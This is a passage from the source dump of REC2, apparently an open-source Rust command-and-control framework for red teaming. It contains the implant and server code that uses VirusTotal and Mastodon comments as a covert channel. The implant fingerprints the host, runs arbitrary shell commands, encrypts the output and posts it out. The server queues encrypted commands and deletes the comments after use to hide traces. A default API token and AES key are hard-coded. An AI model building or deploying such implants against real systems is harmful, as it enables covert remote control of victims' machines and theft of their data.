Regex::new(r"^([A-Z0-9]{4,}):[a-zA-Z0-9]{8}:[a-zA-Z0-9]{6}:").unwrap(); 7 | let caps = re.captures(&spoiler).unwrap(); 8 | let msg_type = caps.get(1).map_or("", |m| m.as_str()).to_string(); 9 | debug!("{}",format!("{:<15}: {}","MSG_TYPE:",&msg_type)); 10 | 11 | let re = Regex::new(r"^[A-Z0-9]{4,}:([a-zA-Z0-9]{8}):").unwrap(); 12 | let caps = re.captures(&spoiler).unwrap(); 13 | let session_hash = caps.get(1).map_or("", |m| m.as_str()).to_string(); 14 | debug!("{}",format!("{:<15}: {}","SESSION_HASH",&session_hash)); 15 | 16 | let re = Regex::new(r"^[A-Z0-9]{4,}:[a-zA-Z0-9]{8}:([a-zA-Z0-9]{6}):").unwrap(); 17 | let caps = re.captures(&spoiler).unwrap(); 18 | let job_hash = caps.get(1).map_or("", |m| m.as_str()).to_string(); 19 | debug!("{}",format!("{:<15}: {}","JOB_HASH",&job_hash)); 20 | 21 | return (msg_type, session_hash, job_hash) 22 | } -------------------------------------------------------------------------------- /implants/virustotal/src/modules/mod.rs: -------------------------------------------------------------------------------- 1 | //! Social network for REC2 client 2 | #[doc(inline)] 3 | pub use common::*; 4 | #[doc(inline)] 5 | pub use rec2virustotal::*; 6 | 7 | pub mod common; 8 | pub mod rec2virustotal; -------------------------------------------------------------------------------- /implants/virustotal/src/modules/rec2virustotal.rs: -------------------------------------------------------------------------------- 1 | extern crate virustotal3; 2 | use virustotal3::*; 3 | 4 | use regex::Regex; 5 | use log::{debug,trace,error}; 6 | 7 | // 1- Function to parse URL to get url,id 8 | // 2- Function to get comments 9 | // 3- Function to post comment 10 | 11 | /// Function to parse Virustotal url 12 | pub fn parse_virustotal_url(full_url: &String) -> (String,VtType,String) { 13 | // https://www.virustotal.com/gui/file/99ff0b679081cdca00eb27c5be5fd9428f1a7cf781cc438b937cf8baf8551c4d 14 | let re = Regex::new(r"^(https://[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}/)").unwrap(); 15 | let caps = re.captures(&full_url).unwrap(); 16 | let url = caps.get(1).map_or("", |m| m.as_str()).to_string(); 17 | debug!("{}",format!("URL: {}",&url)); 18 | 19 | let re = Regex::new(r"^https://[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}/gui/([a-z-]{2,})/[a-zA-Z0-9.()]{3,}").unwrap(); 20 | let caps = re.captures(&full_url).unwrap(); 21 | let vtype = caps.get(1).map_or("", |m| m.as_str()); 22 | let mut vt_type = VtType::File; 23 | match vtype { 24 | "files" => { vt_type = VtType::File; } 25 | "domains" => { vt_type = VtType::Domain; } 26 | "urls" => { vt_type = VtType::Url; } 27 | "ip-address" => { vt_type = VtType::Url; } 28 | _ => { } 29 | } 30 | debug!("{}",format!("TYPE: {}",&vtype)); 31 | 32 | let re = Regex::new(r"^https://[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}/gui/file/([a-zA-Z0-9_]{32,})").unwrap(); 33 | let caps = re.captures(&full_url).unwrap(); 34 | let id = caps.get(1).map_or("", |m| m.as_str()).to_string(); 35 | debug!("{}",format!("ID: {}",&id)); 36 | 37 | return (url,vt_type,id) 38 | } 39 | 40 | 41 | /// GET comment in one resource from the ID 42 | pub async fn virustotal_get_comments( 43 | access_token: &str, 44 | resource_id: &str, 45 | vtype: &VtType, 46 | filter: String, 47 | ) -> (Vec,Vec,Vec) { 48 | 49 | let vt = VtClient::new(access_token); 50 | 51 | // Result 52 | let mut result_spoiler: Vec = Vec::new(); 53 | let mut result_content: Vec = Vec::new(); 54 | let mut post_id: Vec = Vec::new(); 55 | 56 | match vt.get_comment(resource_id, vtype).await { 57 | Ok(result) => { 58 | if result.data.len() >= 1 { 59 | // Comment by comment 60 | for c in result.data { 61 | 62 | if c.attributes.text.contains(&filter) { 63 | let split = c.attributes.text.split("\n"); 64 | let collection = split.collect::>(); 65 | let re = Regex::new(r"[0-9a-f]+").unwrap(); 66 | for hexa in re.captures_iter(&collection[1]) 67 | { 68 | trace!("Getting comment in resource: {}",resource_id); 69 | result_spoiler.push(collection[0].to_owned()); 70 | result_content.push(hexa[0].to_owned().to_string()); 71 | post_id.push(c.id.to_string()); 72 | } 73 | } 74 | } 75 | } 76 | else { 77 | error!("Cant get comments in this resource.."); 78 | panic!("Session killed?") 79 | } 80 | }, 81 | Err(err) => { 82 | error!("Cant get comments in this resource: {err}") 83 | } 84 | } 85 | return (result_spoiler,result_content,post_id) 86 | } 87 | 88 | /// POST private comment 89 | pub async fn virustotal_post_comment( 90 | access_token: &str, 91 | resource_id: &str, 92 | vtype: &VtType, 93 | datas: &str, 94 | ) { 95 | let vt = VtClient::new(access_token); 96 | match vt.put_comment(resource_id, datas, vtype).await { 97 | Ok(result) => { 98 | trace!("Post answer {:?}", result.data); 99 | }, 100 | Err(err) => { 101 | error!("Cant post comment in this resource: {err}") 102 | } 103 | } 104 | } -------------------------------------------------------------------------------- /implants/virustotal/src/utils/common.rs: -------------------------------------------------------------------------------- 1 | use std::{thread, time}; 2 | use random_string::generate; 3 | use log::{info,trace}; 4 | 5 | ///Display cmd output 6 | pub fn display_vecu8(output: &Vec) -> String { 7 | return String::from_utf8_lossy(output).to_string(); 8 | } 9 | 10 | /// Function sleep 11 | pub fn sleep(timer: u64) { 12 | info!("[?] Waiting {}s",&timer); 13 | thread::sleep(time::Duration::from_secs(timer)); 14 | } 15 | 16 | /// Function to generate random string 17 | pub fn random_string(len: usize) -> String { 18 | let charset = "1234567890abcdefghijklmnopqrstuvwxyz"; 19 | let r = generate(len, charset); 20 | trace!("Random ID: {}",&r); 21 | return r 22 | } -------------------------------------------------------------------------------- /implants/virustotal/src/utils/crypto.rs: -------------------------------------------------------------------------------- 1 | use log::error; 2 | use aes::cipher::{block_padding::Pkcs7, BlockDecryptMut, BlockEncryptMut, KeyIvInit}; 3 | use pbkdf2::{ 4 | password_hash::{PasswordHash, PasswordHasher, SaltString}, 5 | Params, Pbkdf2, 6 | }; 7 | use rand::{distributions::Alphanumeric, Rng}; 8 | type Aes256CbcDec = cbc::Decryptor; 9 | type Aes256CbcEnc = cbc::Encryptor; 10 | 11 | /// Function to provide simple mechanism to encrypt some bytes with a key using AES-256-CBC 12 | /// Thanks to: 13 | pub fn aes_encrypt( 14 | plaintext: &[u8], 15 | key: &[u8] 16 | ) -> Vec { 17 | let s: String = rand::thread_rng() 18 | .sample_iter(&Alphanumeric) 19 | .take(8) 20 | .map(char::from) 21 | .collect(); 22 | let salt = SaltString::new(&s).unwrap(); 23 | let password_hash = hash_password(key, &salt).unwrap(); 24 | let password_hash = password_hash.hash.unwrap(); 25 | let (key, iv) = password_hash.as_bytes().split_at(32); 26 | let cipher = Aes256CbcEnc::new_from_slices(key, iv).unwrap(); 27 | let ciphertext = cipher.encrypt_padded_vec_mut::(plaintext); 28 | let message = ["Salted__".as_bytes(), salt.as_bytes(), &ciphertext].concat(); 29 | message 30 | } 31 | 32 | /// Function to provide simple mechanism to decrypt some bytes with a key using AES-256-CBC 33 | /// Thanks to: 34 | pub fn aes_decrypt( 35 | ciphertext: &[u8], 36 | key: &[u8] 37 | ) -> Vec { 38 | if !ciphertext.starts_with(b"Salted__") { 39 | error!("Message was not encrypted when encoded"); 40 | } 41 | if ciphertext.len() < 16 { 42 | error!("Ciphertext is too short"); 43 | } 44 | let (_, rest) = ciphertext.split_at(8); //ignore prefix 'Salted__' 45 | let (s, rest) = rest.split_at(8); 46 | let s = String::from_utf8(s.to_vec()).unwrap(); 47 | let salt = SaltString::new(&s).unwrap(); 48 | let password_hash = hash_password(key, &salt).unwrap(); 49 | let password_hash = password_hash.hash.unwrap(); 50 | let (key, iv) = password_hash.as_bytes().split_at(32); 51 | let cipher = Aes256CbcDec::new_from_slices(key, iv).unwrap(); 52 | let r = cipher.decrypt_padded_vec_mut::(rest); 53 | match r { 54 | Ok(plaintext) => { return plaintext } 55 | Err(err) => { 56 | error!("Inccorect key, can't decode AES! Reason: {err}"); 57 | return Vec::new() 58 | } 59 | } 60 | } 61 | 62 | /// Function to hash password and salt, 63 | /// to generate key for use with AES-256 encryption. 64 | /// 65 | /// Uses PBKDF2 with 10,000 rounds of SHA256 hashing to generate a 48-byte response. 66 | /// 48-byte response contains the 16-byte IV and 32-byte key. 67 | /// Thanks to: 68 | pub fn hash_password<'a>( 69 | key: &'a [u8], 70 | salt: &'a SaltString, 71 | ) -> Result, pbkdf2::password_hash::Error> { 72 | Pbkdf2.hash_password_customized( 73 | key, 74 | None, 75 | None, 76 | Params { 77 | rounds: 10_000, 78 | output_length: 48, 79 | }, 80 | salt, 81 | ) 82 | } -------------------------------------------------------------------------------- /implants/virustotal/src/utils/exec.rs: -------------------------------------------------------------------------------- 1 | use std::str; 2 | use std::process::{Command}; 3 | use log::{debug, trace, error}; 4 | 5 | use crate::utils::crypto::*; 6 | use crate::utils::common::*; 7 | 8 | /// Function to execute command and get output 9 | pub fn run_and_crypt(command: String, key: Vec) -> String { 10 | // EXEC PART 11 | debug!("run_and_crypt() [COMMAND INPUT]: {:?}",&command); 12 | let mut output = exec(&command); 13 | if output.len() == 0 { 14 | error!("Error during command execution!"); 15 | output = "Error during command execution!".as_bytes().to_vec(); 16 | } 17 | debug!("run_and_crypt() [COMMAND OUTPUT]: {:?}",display_vecu8(&output)); 18 | 19 | // AES PART 20 | let encoded = aes_encrypt(&output[..], &key); 21 | trace!("run_and_crypt() [COMMAND ENCODED]: {:?}",display_vecu8(&encoded)); 22 | let hexa = hex::encode(&encoded); 23 | trace!("run_and_crypt() [COMMAND ENCODED]: {:?}",&hexa); 24 | 25 | return hexa 26 | } 27 | 28 | /// Function to run commands 29 | fn exec(input: &str) -> Vec 30 | { 31 | let output = if cfg!(target_os = "windows") { 32 | Command::new("cmd") 33 | .args(["/c", input]) 34 | .output() 35 | .expect("failed") 36 | } else { 37 | Command::new("sh") 38 | .arg("-c") 39 | .arg(input) 40 | .output() 41 | .expect("failed") 42 | }; 43 | return output.stdout 44 | } -------------------------------------------------------------------------------- /implants/virustotal/src/utils/mod.rs: -------------------------------------------------------------------------------- 1 | //! Utils for REC2 client 2 | #[doc(inline)] 3 | pub use common::*; 4 | #[doc(inline)] 5 | pub use crypto::*; 6 | #[doc(inline)] 7 | pub use exec::*; 8 | #[doc(inline)] 9 | pub use target::*; 10 | 11 | pub mod crypto; 12 | pub mod exec; 13 | pub mod common; 14 | pub mod target; -------------------------------------------------------------------------------- /implants/virustotal/src/utils/target.rs: -------------------------------------------------------------------------------- 1 | use log::trace; 2 | 3 | /// Function to get target information 4 | /// 5 | pub fn get_target_info() -> String { 6 | trace!("Username: {}",whoami::username()); 7 | trace!("Hostname: {}",whoami::hostname()); 8 | trace!("OS: {}", whoami::distro()); 9 | format!("{}:-:{}:-:{}",whoami::hostname(),whoami::username(),whoami::distro()) 10 | } 11 | 12 | /// Function to get first 8 chars from uniq md5 target hostname 13 | pub fn get_target_hash() -> String { 14 | let s = format!("{}:{}:{}",whoami::hostname(),whoami::username(),whoami::distro()); 15 | let digest = md5::compute(s.as_bytes()); 16 | let hash = format!("{:x}",digest); 17 | trace!("Uniq hash for this target: {}", hash); 18 | return hash[0..8].to_owned() 19 | } -------------------------------------------------------------------------------- /server/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | authors = ["g0h4n "] 3 | name = "server" 4 | description = "REC2 (Rusty External Comand and Control Server)" 5 | keywords = ["c2", "pentest", "social", "server", "redteam"] 6 | repository = "https://github.com/g0h4n/REC2" 7 | homepage = "https://github.com/g0h4n/REC2" 8 | version = "0.1.0" 9 | edition = "2018" 10 | license = "MIT" 11 | readme = "README.md" 12 | 13 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 14 | 15 | [dependencies] 16 | tokio = { version = "1", features = ["macros", "rt-multi-thread"] } 17 | rustyline = "12" 18 | clap = "4.0" 19 | log = "0.4" 20 | env_logger = "0.10" 21 | colored = "2" 22 | shellwords = "1.1.0" 23 | 24 | # Crypto 25 | hex = "0.4" 26 | rand = "0.8.5" 27 | aes = "0.8.1" 28 | cbc = {version = "0.1.2", features = ["std"]} 29 | pbkdf2 = "0.11.0" 30 | regex = "1.6.0" 31 | random-string = "1.0" 32 | md5 = "0.7" 33 | 34 | # Modules 35 | megalodon = { version = "0.6" } 36 | virustotal3 = { version = "3.0.2" } 37 | -------------------------------------------------------------------------------- /server/src/args.rs: -------------------------------------------------------------------------------- 1 | //! Parsing arguments 2 | use clap::{Arg, ArgAction, value_parser, Command}; 3 | 4 | #[derive(Debug)] 5 | pub enum Social { 6 | Mastodon, 7 | VirusTotal, 8 | Unknown, 9 | } 10 | 11 | #[derive(Debug)] 12 | pub struct Options { 13 | pub social: Social, 14 | pub url: String, 15 | pub token: String, 16 | pub key: String, 17 | pub verbose: log::LevelFilter, 18 | } 19 | 20 | fn cli() -> Command { 21 | Command::new("server") 22 | .about("REC2 (Rusty External Comand and Control Server)") 23 | .subcommand_required(true) 24 | .arg_required_else_help(true) 25 | .allow_external_subcommands(true) 26 | .subcommand( 27 | Command::new("Mastodon") 28 | .about("Using Mastodon social network as external C2") 29 | .arg(Arg::new("url") 30 | .short('u') 31 | .long("url") 32 | .help("Mastodon url like https://mastodon.be/@username_fzihfzuhfuoz/109909415422853704") 33 | .required(true) 34 | .value_parser(value_parser!(String)) 35 | ) 36 | .arg(Arg::new("token") 37 | .short('t') 38 | .long("token") 39 | .help("API token for your Mastodon account") 40 | .required(true) 41 | .value_parser(value_parser!(String)) 42 | ) 43 | .arg(Arg::new("key") 44 | .short('k') 45 | .long("key") 46 | .help("AES master key to decode and encode communication") 47 | .required(true) 48 | .value_parser(value_parser!(String)) 49 | ) 50 | .arg(Arg::new("v") 51 | .short('v') 52 | .help("Set the level of verbosity") 53 | .action(ArgAction::Count), 54 | ) 55 | ) 56 | .subcommand( 57 | Command::new("VirusTotal") 58 | .about("Using VirusToal website as external C2") 59 | .arg(Arg::new("url") 60 | .short('u') 61 | .long("url") 62 | .help("Virustotal url like https://www.virustotal.com/gui/file/99ff0b679081cdca00eb27c5be5fd9428f1a7cf781cc438b937cf8baf8551c4d") 63 | .required(true) 64 | .value_parser(value_parser!(String)) 65 | ) 66 | .arg(Arg::new("token") 67 | .short('t') 68 | .long("token") 69 | .help("API token for your Virustotal account") 70 | .required(true) 71 | .value_parser(value_parser!(String)) 72 | ) 73 | .arg(Arg::new("key") 74 | .short('k') 75 | .long("key") 76 | .help("AES master key to decode and encode communication") 77 | .required(true) 78 | .value_parser(value_parser!(String)) 79 | ) 80 | .arg(Arg::new("v") 81 | .short('v') 82 | .help("Set the level of verbosity") 83 | .action(ArgAction::Count), 84 | ) 85 | ) 86 | } 87 | 88 | /// Function to extract arguments 89 | pub fn extract_args() -> Options { 90 | 91 | let matches = cli().get_matches(); 92 | // DEFAULT SOCIAL NETWORK USE FOR C2 93 | let mut social = Social::Unknown; 94 | // DEFAULT SOCIAL NETWORK URL 95 | let mut url = "https://mastodon.be/username_fzihfzuhfuoz/109743339821428173".to_owned(); 96 | // DEFAULT ACCESS TOKEN 97 | // 98 | let mut token = "WkIKjtCbQzcqQd04ZsE4sFefvpjryhU5w9iVFxGz1oU".to_owned(); 99 | // DEFAULT AES KEY 100 | let mut key = "d09ccee4-pass-word-0000-98677e2356fd".to_owned(); 101 | // DEFUALT LOG LEVEL 102 | let mut v = log::LevelFilter::Info; 103 | 104 | match matches.subcommand() { 105 | Some(("Mastodon", sub_matches)) => { 106 | social = Social::Mastodon; 107 | url = sub_matches.get_one::("url").map(|s| s.to_owned()).unwrap(); 108 | token = sub_matches.get_one::("token").map(|s| s.to_owned()).unwrap(); 109 | key = sub_matches.get_one::("key").map(|s| s.to_owned()).unwrap(); 110 | v = match sub_matches.get_count("v") { 111 | 0 => log::LevelFilter::Info, 112 | 1 => log::LevelFilter::Debug, 113 | _ => log::LevelFilter::Trace, 114 | }; 115 | } 116 | Some(("VirusTotal", sub_matches)) => { 117 | social = Social::VirusTotal; 118 | url = sub_matches.get_one::("url").map(|s| s.to_owned()).unwrap(); 119 | token = sub_matches.get_one::("token").map(|s| s.to_owned()).unwrap(); 120 | key = sub_matches.get_one::("key").map(|s| s.to_owned()).unwrap(); 121 | v = match sub_matches.get_count("v") { 122 | 0 => log::LevelFilter::Info, 123 | 1 => log::LevelFilter::Debug, 124 | _ => log::LevelFilter::Trace, 125 | }; 126 | } 127 | _ => {}, 128 | } 129 | 130 | Options { 131 | social: social, 132 | url: url.to_string(), 133 | token: token.to_string(), 134 | key: key.to_string(), 135 | verbose: v, 136 | } 137 | } -------------------------------------------------------------------------------- /server/src/c2/jobs.rs: -------------------------------------------------------------------------------- 1 | use log::{debug,trace,error}; 2 | use std::process::exit; 3 | use colored::*; 4 | 5 | use crate::args::{Options,Social}; 6 | use crate::c2::sessions::Session; 7 | use crate::c2::shell::EXIT_FAILURE; 8 | use crate::modules::{rec2mastodon,rec2virustotal}; 9 | use crate::utils::crypto; 10 | use crate::utils::common::{random_string, display_vecu8}; 11 | 12 | pub enum Status { 13 | Pending, 14 | Finished, 15 | } 16 | 17 | /// Structure for one job like execute command 18 | pub struct Job { 19 | session: Session, // Session 20 | id: u32, // job id 21 | hash: String, // job name YYYYYY 22 | cmd: String, // cmd 23 | resp: String, // response output 24 | status: Status, // got response ? 25 | } 26 | 27 | /// Function to execute command on the social network 28 | /// Waitting output or press enter to put the job in the background and get output with get_output_command() 29 | pub async fn exec_command( 30 | default_args: &Options, 31 | id: u32, 32 | cmd: &str, 33 | sessions: &mut Vec, 34 | jobs: &mut Vec, 35 | ) { 36 | // search session XXXXXX from id 0X in ids 37 | // prepare command line aes encoded and post it 38 | // QXXXXXX:YYYYYY -> cmd encoded aes 39 | // add QXXXXX:YYYYYY -> HashMap or in Struct 40 | match &default_args.social { 41 | Social::Mastodon => { 42 | if id as usize <= sessions.len() && sessions.len() > 0 { 43 | debug!("Execute command from Mastodon social network.."); 44 | let (url, _username, topic) = rec2mastodon::parse_mastodon_url(&default_args.url); 45 | let encoded_cmd = hex::encode(crypto::aes_encrypt(&cmd.as_bytes().to_vec()[..], &default_args.key.as_bytes())); 46 | trace!("Encoded command job: {:?}",&encoded_cmd); 47 | // Save new job 48 | let job = Job { 49 | session: sessions[id as usize - 1].to_owned(), // Session 50 | id: (jobs.len() as u32 + 1), // job id 51 | hash: random_string(6), // job name YYYYYY 52 | cmd: cmd.to_string(), // cmd 53 | resp: "Please wait..".to_string(), // response output 54 | status: Status::Pending, // got response ? 55 | }; 56 | rec2mastodon::mastodon_post_topic_comment( 57 | &url, 58 | default_args.token.to_owned(), 59 | Some(topic.to_owned()), 60 | encoded_cmd, 61 | format!("QUES:{}:{}:",&sessions[id as usize -1].hash,&job.hash), 62 | ).await; 63 | jobs.push(job); 64 | display_jobs(jobs); 65 | } 66 | else { 67 | println!("No session for this id.."); 68 | } 69 | 70 | } 71 | Social::VirusTotal => { 72 | if id as usize <= sessions.len() && sessions.len() > 0 { 73 | debug!("Execute command from VirusTotal.."); 74 | let (_url,vtype, resource_id) = rec2virustotal::parse_virustotal_url(&default_args.url); 75 | let encoded_cmd = hex::encode(crypto::aes_encrypt(&cmd.as_bytes().to_vec()[..], &default_args.key.as_bytes())); 76 | trace!("Encoded command job: {:?}",&encoded_cmd); 77 | // Save new job 78 | let job = Job { 79 | session: sessions[id as usize - 1].to_owned(), // Session 80 | id: (jobs.len() as u32 + 1), // job id 81 | hash: random_string(6), // job name YYYYYY 82 | cmd: cmd.to_string(), // cmd 83 | resp: "Please wait..".to_string(), // response output 84 | status: Status::Pending, // got response ? 85 | }; 86 | let datas = format!("QUES:{}:{}:\n{}",&sessions[id as usize -1].hash,&job.hash,encoded_cmd); 87 | rec2virustotal::virustotal_post_comment( 88 | &default_args.token, 89 | &resource_id, 90 | &vtype, 91 | &datas, 92 | ).await; 93 | jobs.push(job); 94 | display_jobs(jobs); 95 | } 96 | else { 97 | println!("No session for this id.."); 98 | } 99 | } 100 | Social::Unknown => { 101 | error!("Error to execute command '{}' for Social::{:?}",&cmd,&default_args.social); 102 | exit(EXIT_FAILURE); 103 | } 104 | } 105 | } 106 | 107 | /// Function to get output command result on the social network 108 | /// 109 | pub async fn get_output_command( 110 | default_args: &Options, 111 | id: u32, 112 | jobs: &mut Vec, 113 | ) { 114 | // search in all comment for session ids XXXXXX 115 | // and for job YYYYYY the result decode it and print it 116 | match &default_args.social { 117 | Social::Mastodon => { 118 | // TODO patch need to use Status::Pending 119 | if jobs.len() > 0 { 120 | if jobs[id as usize - 1].resp.contains("Please wait..") { 121 | debug!("Getting output for job ID:{} in Mastodon social network..",id); 122 | let (url, _username, topic) = rec2mastodon::parse_mastodon_url(&default_args.url); 123 | let (_result_spoiler,_result_content,_in_reply_to_id,_post_id) = rec2mastodon::mastodon_get_topic_comments( 124 | &url, 125 | default_args.token.to_string(), 126 | topic.to_owned(), 127 | format!("RESP:{}:{}:",&jobs[id as usize - 1].session.hash,&jobs[id as usize - 1].hash).to_string(), 128 | ).await; 129 | if _result_content.len() > 0 { 130 | jobs[id as usize - 1].status = Status::Finished; 131 | jobs[id as usize - 1].resp = display_vecu8(&crypto::aes_decrypt(&hex::decode(&_result_content[0].to_owned().to_string()).unwrap()[..], &default_args.key.as_bytes())); 132 | } 133 | else { 134 | let (_result_spoiler,result_content2,_in_reply_to_id,_post_id) = rec2mastodon::mastodon_get_topic_comments( 135 | &url, 136 | default_args.token.to_string(), 137 | topic.to_owned(), 138 | format!("PART:{}:{}:",&jobs[id as usize - 1].session.hash,&jobs[id as usize - 1].hash).to_string(), 139 | ).await; 140 | if result_content2.len() > 0 { 141 | let mut hexa_datas = "".to_owned(); 142 | for part in result_content2 { 143 | hexa_datas = hexa_datas + ∂ 144 | } 145 | jobs[id as usize - 1].status = Status::Finished; 146 | jobs[id as usize - 1].resp = display_vecu8(&crypto::aes_decrypt(&hex::decode(&hexa_datas.to_owned().to_string()).unwrap()[..], &default_args.key.as_bytes())); 147 | } 148 | } 149 | // Print result 150 | println!("{}",&jobs[id as usize - 1].resp); 151 | 152 | // Delete comments if get output 153 | if !jobs[id as usize - 1].resp.contains("Please wait..") { 154 | let (url, _username, topic) = rec2mastodon::parse_mastodon_url(&default_args.url); 155 | let (_result_spoiler,_result_content,_in_reply_to_id,post_id) = rec2mastodon::mastodon_get_topic_comments( 156 | &url, 157 | default_args.token.to_string(), 158 | topic.to_owned(), 159 | format!(":{}:{}",&jobs[id as usize - 1].session.hash,&jobs[id as usize - 1].hash).to_string(), 160 | ).await; 161 | for id in post_id { 162 | rec2mastodon::remove_mastodon_comment( 163 | &url, 164 | default_args.token.to_string(), 165 | id.to_owned(), 166 | ).await; 167 | debug!("Comment ID:{} deleted!",id); 168 | } 169 | } 170 | } 171 | else { 172 | println!("{}",&jobs[id as usize - 1].resp); 173 | } 174 | } 175 | else { 176 | println!("No jobs.."); 177 | } 178 | } 179 | Social::VirusTotal => { 180 | // TODO patch need to use Status::Pending 181 | if jobs.len() > 0 { 182 | if jobs[id as usize - 1].resp.contains("Please wait..") { 183 | debug!("Getting output for job ID:{} in VirusTotal..",id); 184 | let (_url,vtype, resource_id) = rec2virustotal::parse_virustotal_url(&default_args.url); 185 | let (_result_spoiler,result_content,_post_id) = rec2virustotal::virustotal_get_comments( 186 | &default_args.token, 187 | &resource_id, 188 | &vtype, 189 | format!("RESP:{}:{}:",&jobs[id as usize - 1].session.hash,&jobs[id as usize - 1].hash).to_string(), 190 | ).await; 191 | if result_content.len() > 0 { 192 | jobs[id as usize - 1].status = Status::Finished; 193 | jobs[id as usize - 1].resp = display_vecu8(&crypto::aes_decrypt(&hex::decode(&result_content[0].to_owned().to_string()).unwrap()[..], &default_args.key.as_bytes())); 194 | } 195 | else { 196 | let (_result_spoiler,result_content2,_post_id) = rec2virustotal::virustotal_get_comments( 197 | &default_args.token, 198 | &resource_id, 199 | &vtype, 200 | format!("PART:{}:{}:",&jobs[id as usize - 1].session.hash,&jobs[id as usize - 1].hash).to_string(), 201 | ).await; 202 | if result_content2.len() > 0 { 203 | let mut hexa_datas = "".to_owned(); 204 | for part in result_content2 { 205 | hexa_datas = hexa_datas + ∂ 206 | } 207 | jobs[id as usize - 1].status = Status::Finished; 208 | jobs[id as usize - 1].resp = display_vecu8(&crypto::aes_decrypt(&hex::decode(&hexa_datas.to_owned().to_string()).unwrap()[..], &default_args.key.as_bytes())); 209 | } 210 | } 211 | // Delete comments if get output 212 | if !jobs[id as usize - 1].resp.contains("Please wait..") { 213 | let (_result_spoiler,_result_content,post_id) = rec2virustotal::virustotal_get_comments( 214 | &default_args.token, 215 | &resource_id, 216 | &vtype, 217 | format!(":{}:{}",&jobs[id as usize - 1].session.hash,&jobs[id as usize - 1].hash).to_string(), 218 | ).await; 219 | for id in post_id { 220 | rec2virustotal::virustotal_delete_topic_comment( 221 | &default_args.token, 222 | &id, 223 | ).await; 224 | debug!("Comment ID:{} deleted!",id); 225 | } 226 | } 227 | // Print result 228 | println!("{}",&jobs[id as usize - 1].resp); 229 | } 230 | else { 231 | println!("{}",&jobs[id as usize - 1].resp); 232 | } 233 | } 234 | else { 235 | println!("No jobs.."); 236 | } 237 | } 238 | Social::Unknown => { 239 | error!("Error to get output for job ID:{} in Social::{:?}",id,&default_args.social); 240 | exit(EXIT_FAILURE); 241 | } 242 | } 243 | } 244 | 245 | /// Function to display pending jobs 246 | pub fn display_jobs( 247 | jobs: &mut Vec, 248 | ) { 249 | // search in all comment for session ids XXXXXX 250 | // and for job YYYYYY the result decode it and print it 251 | debug!("Getting jobs status.."); 252 | if jobs.len() != 0 { 253 | for job in jobs { 254 | match job.status { 255 | Status::Pending => { 256 | println!("{:<4}{}","", 257 | format!("JOB_ID:{:<5} SESSION_ID:{:<5} TARGET:{:<18} USER:{:<10} CMD:{:<10} STATUS:{:15}", 258 | job.id.to_string().green().bold(), 259 | job.session.id.to_string().green().bold(), 260 | job.session.hostname.green().bold(), 261 | job.session.user.green().bold(), 262 | job.cmd.bold(), 263 | "Pending".to_string().truecolor(255,172,89).bold(), 264 | ) 265 | ); 266 | } 267 | Status::Finished => { 268 | println!("{:<4}{}","", 269 | format!("JOB_ID:{:<5} SESSION_ID:{:<5} TARGET:{:<18} USER:{:<10} CMD:{:<10} STATUS:{:15}", 270 | job.id.to_string().green().bold(), 271 | job.session.id.to_string().green().bold(), 272 | job.session.hostname.green().bold(), 273 | job.session.user.green().bold(), 274 | job.cmd.bold(), 275 | "Finished".to_string().green().bold(), 276 | ) 277 | ); 278 | } 279 | } 280 | } 281 | } else { 282 | println!("No jobs..."); 283 | } 284 | } -------------------------------------------------------------------------------- /server/src/c2/mod.rs: -------------------------------------------------------------------------------- 1 | //! Social network for REC2 server 2 | #[doc(inline)] 3 | pub use shell::*; 4 | #[doc(inline)] 5 | pub use sessions::*; 6 | #[doc(inline)] 7 | pub use jobs::*; 8 | 9 | pub mod shell; 10 | pub mod sessions; 11 | pub mod jobs; -------------------------------------------------------------------------------- /server/src/c2/sessions.rs: -------------------------------------------------------------------------------- 1 | use log::{debug,trace,error}; 2 | use std::process::exit; 3 | use colored::*; 4 | 5 | use crate::args::{Options,Social}; 6 | use crate::c2::shell::{Environnement,EXIT_FAILURE}; 7 | use crate::modules::{rec2mastodon,rec2virustotal}; 8 | 9 | use regex::Regex; 10 | use crate::utils::{crypto,common}; 11 | 12 | // SESS:XXXXXXXX:ABCDEF: For new session 13 | // QUES:XXXXXXXX:YYYYYY: For new job query 14 | // RESP:XXXXXXXX:YYYYYY: For new job response 15 | // PART01:XXXXXXXX:YYYYYY: For new job response part Z 16 | 17 | /// Structure to map numeric id with random id and sessions informations 18 | #[derive(Debug, Clone)] 19 | pub struct Session { 20 | pub id: u32, // session id 21 | pub hash: String, // session XXXXXX 22 | pub user: String, // username 23 | pub hostname: String, // computer name 24 | pub os: String, // system version 25 | pub available: bool, // if session is killed set to false 26 | } 27 | 28 | /// Function to get sessions etablished from social network 29 | pub async fn get_sessions(default_args: &Options, sessions: &mut Vec) { 30 | // parser les commentaires pour avoir le SXXXXXX 31 | // SESS:XXXXXXXX:ABCDEF contiendra Username:Hostname:Os 32 | match &default_args.social { 33 | Social::Mastodon => { 34 | debug!("Getting sessions from Mastodon social network.."); 35 | let (url, _username, topic) = rec2mastodon::parse_mastodon_url(&default_args.url); 36 | let (result_spoiler,result_content,_in_reply_to_id,_post_id) = rec2mastodon::mastodon_get_topic_comments( 37 | &url, 38 | default_args.token.to_string(), 39 | topic.to_owned(), 40 | "SESS:".to_string(), 41 | ).await; 42 | parse_sessions(default_args, result_spoiler, result_content, sessions); 43 | } 44 | Social::VirusTotal => { 45 | debug!("Getting sessions from VirusTotal.."); 46 | let (_url,vtype,resource_id) = rec2virustotal::parse_virustotal_url(&default_args.url); 47 | trace!("before virustotal_get_comments() function"); 48 | trace!(" &default_args.token: {:?}",&default_args.token); 49 | trace!(" &resource_id: {:?}",&resource_id); 50 | trace!(" &vtype: {:?}",&vtype); 51 | trace!(" SESS: {:?}",&"SESS:".to_string()); 52 | 53 | let (result_spoiler,result_content,_post_id) = rec2virustotal::virustotal_get_comments( 54 | &default_args.token, 55 | &resource_id, 56 | &vtype, 57 | "SESS:".to_string(), 58 | ).await; 59 | parse_sessions(default_args, result_spoiler, result_content, sessions); 60 | } 61 | Social::Unknown => { 62 | error!("Error Social::Unknown"); 63 | exit(EXIT_FAILURE); 64 | } 65 | } 66 | } 67 | 68 | 69 | /// Function to attach session id 70 | pub fn set_session( 71 | id: u32, 72 | env: &mut Environnement, 73 | sessions: &mut Vec, 74 | ) { 75 | if id as usize <= 